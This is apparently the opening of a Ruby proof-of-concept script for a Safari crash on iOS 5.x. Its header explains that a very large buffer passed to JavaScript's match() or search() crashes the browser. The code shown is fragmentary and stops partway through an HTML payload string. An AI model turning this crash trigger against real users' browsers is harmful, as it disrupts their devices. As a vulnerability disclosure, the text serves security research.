# - Summary
# A vulnerability has been discovered in Apple Safari Browser
# included in the last version of iOS (5.1.1).
#
# Previous versions may be affected too.
#
# When JavaScript function match() gets a big buffer as
# parameter the browser unexpectedly crashes.
#
# By extension, the function search() is affected too.
#
# Tested on iOS 5.0.1, 5.1.0, 5.1.1
# Tested on iPod Touch, iPhone and iPad iOS devices.

require "optparse"

# Buffer values
chr = "A"
# The size of buffer needed may vary depending
# on the device and the iOS version.

<script type=\"text/javascript\">\n\
var s = \"poc\";\n\
